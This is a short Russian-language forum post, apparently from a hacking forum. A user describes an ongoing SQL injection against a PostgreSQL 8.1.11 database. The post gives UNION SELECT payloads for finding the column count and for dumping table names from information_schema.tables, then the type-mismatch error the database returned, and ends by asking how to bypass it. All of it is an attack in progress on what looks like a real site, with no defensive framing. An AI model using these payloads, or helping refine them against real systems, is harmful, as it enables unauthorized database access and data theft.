подобрал число колонок на PostgreSQL (PostgreSQL 8.1.11 on i686-pc-linux-gnu)

1+union+select+null,null,null,null,null,null,null, null,null,null,null+--+

сделал

1+union+select+table_name,table_name,table_name,ta ble_name,table_name,table_name,table_name,table_na me,table_name,table_name,table_name+from+informati on_schema.tables+--+

пишет

Query failed: ERROR: UNION types integer and character varying cannot be matched in

Как обойти?